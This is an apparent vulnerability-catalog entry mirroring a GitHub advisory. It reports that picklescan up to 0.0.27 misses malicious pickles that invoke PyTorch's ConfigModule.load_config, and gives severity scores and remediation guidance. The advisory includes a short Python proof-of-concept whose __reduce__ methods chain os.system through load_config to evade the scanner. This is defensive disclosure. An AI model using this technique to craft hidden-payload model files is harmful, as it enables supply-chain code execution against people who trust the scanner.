vulnerability / NVI-00014030 / Revision 3
Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
GitHub lists this reviewed advisory for picklescan. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
8.1 high
GitHub source severity; exploitability and local consequence require separate evidence.
As of · GitHub Advisory Database
8.1 HIGH (3.1)
disclosure@vulncheck.com severity; no combined Null risk score.
7.8 HIGH (3.1)
nvd@nist.gov severity; no combined Null risk score.
7.6 HIGH (4.0)
disclosure@vulncheck.com severity; no combined Null risk score.
0.554%
FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.46238. Missing scores are unknown.
As of · FIRST EPSS
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
picklescan
source listed<= 0.0.27
### Summary Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution. ### PoC ``` import pickle from torch.utils._config_module import ConfigModule class Evil: def __reduce__(self): return (os.system, ('whoami',)) class EvilTorchUtilsConfigModuleLoadConfig: def __reduce__(self): evil_payload = pickle.dumps(Evil()) return ConfigModule.load_config, (None, evil_payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain A
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. FIRST EPSS
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
- NVD lastModified does not establish freshness of every associated CPE record.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-vv6j-3g6g-2pvj ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
- CVE-2025-71348 ↗
NIST National Vulnerability Database · official catalog
Observed . This product uses data from the NVD API but is not endorsed or certified by the NVD.
- CVE-2025-71348 ↗
FIRST EPSS · official catalog
Observed . FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 3 ·
Source facts changed; compare the preserved prior revision.
- Revision 2 ·
Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.